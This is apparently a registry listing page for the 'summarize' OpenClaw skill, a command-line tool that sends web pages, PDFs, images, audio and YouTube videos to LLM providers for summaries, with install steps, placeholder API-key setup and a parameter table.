A high-performance CLI utility that leverages multimodal AI models to summarize web pages, local documents, and multimedia content instantly.
Install & Download
1. ClawHub CLI
The fastest way to install a skill directly from the registry.
npx clawhub@latest install summarize-syis
2. Manual Installation
Copy the skill folder to one of these locations
~/.openclaw/skills/ <project>/skills/ Priority: Workspace > Local > Bundled
3. Prompt Installation
Copy this prompt to OpenClaw to install it automatically.
Help me install summarize-syis using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).
Prefer to download?
Get the raw skill files in a ZIP archive.
What is Summarize?
The Summarize skill is a robust command-line interface designed to streamline information consumption for developers and power users. By integrating directly into the terminal, it allows for the rapid extraction and synthesis of key information from diverse sources including live URLs, local PDF files, images, and audio recordings. As a key component of the Openclaw Skills ecosystem, it provides a bridge between raw data sources and actionable intelligence.
Built with flexibility in mind, the skill supports a wide range of LLM providers such as OpenAI, Anthropic, Google Gemini, and xAI. Whether you are dealing with a long-form research paper or a complex technical article, this tool helps you grasp the essential points without leaving your development environment. Its ability to handle YouTube links and multimodal inputs makes it an essential asset for any modern AI-driven workflow.
Summarize Use Cases
- Condensing lengthy technical documentation or blog posts into digestible summaries.
- Extracting text and insights from local PDF reports or scanned images.
- Transcribing and summarizing YouTube videos to save time on research.
- Automating content analysis for competitive intelligence within a CLI environment.
- Converting audio files into structured text summaries for quick review.
How Summarize Works
- The user provides a target source, such as a website link or a local file path, to the summarize command.
- The skill detects the content type and selects the appropriate extraction method, using optional tools like Firecrawl for blocked sites if necessary.
- The raw content is sent to the configured AI model (e.g., Google Gemini or GPT-4o) with specific length and formatting parameters.
- The AI processes the data, focusing on the core message while adhering to the user's requested detail level.
- The summarized result is output directly to the terminal or formatted as a JSON object for use in other Openclaw Skills.
Summarize Setup
First, ensure that the OpenClawProvider is installed and running on your system. Then, install the summarize binary via Homebrew:
brew tap steipete/tap
brew install summarize
Configure your environment with the required API keys for your preferred provider:
export GEMINI_API_KEY='your_api_key_here'
export OPENAI_API_KEY='your_api_key_here'
You can also create an optional configuration file at ~/.summarize/config.json to set your default model and preferences.
Summarize Data Schema & Taxonomy
The skill manages its operations through environment variables and a local JSON configuration file. It can output data in plain text or structured formats for machine readability.
| Parameter | Description | Possible Values |
|---|---|---|
| model | The LLM used for processing | google/gemini-3-flash-preview, openai/gpt-4o, etc. |
| length | Desired summary detail | short, medium, long, xl, xxl |
| json | Output format toggle | Boolean (true/false) |
| youtube | Video extraction mode | auto, off |
Summarize Advanced Features
- Support for Firecrawl to ensure successful content extraction from sites with aggressive anti-bot protections.
- YouTube fallback mechanisms via Apify for reliable metadata and transcript retrieval.
- Multimodal support allowing for the summarization of images and audio files alongside text.
- Highly customizable output length controls ranging from brief snippets to exhaustive reports.
- Seamless integration with other Openclaw Skills via machine-readable JSON output modes.
SKILL.md
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